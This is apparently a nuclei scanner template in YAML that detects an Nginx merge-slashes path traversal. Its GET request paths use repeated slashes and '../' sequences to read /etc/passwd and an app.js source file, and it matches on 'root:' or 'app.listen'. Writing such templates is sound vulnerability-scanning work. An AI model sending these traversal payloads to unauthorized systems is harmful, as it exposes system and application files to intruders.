nuclei-templates/vulnerabilities/other/nginx-merge-slashes-path-tr...

29 lines
675 B
YAML
Raw Normal View History

id: nginx-merge-slashes-path-traversal
info:
name: Nginx Merge Slashes Path Traversal
author: dhiyaneshDk
severity: medium
reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
tags: exposure,config
requests:
- method: GET
path:
- "{{BaseURL}}//////../../../etc/passwd"
- "{{BaseURL}}/static//////../../../../etc/passwd"
- "{{BaseURL}}///../app.js"
matchers-condition: and
matchers:
- type: word
words:
- "root:"
- "app.listen"
part: body
condition: or
- type: status
status:
- 200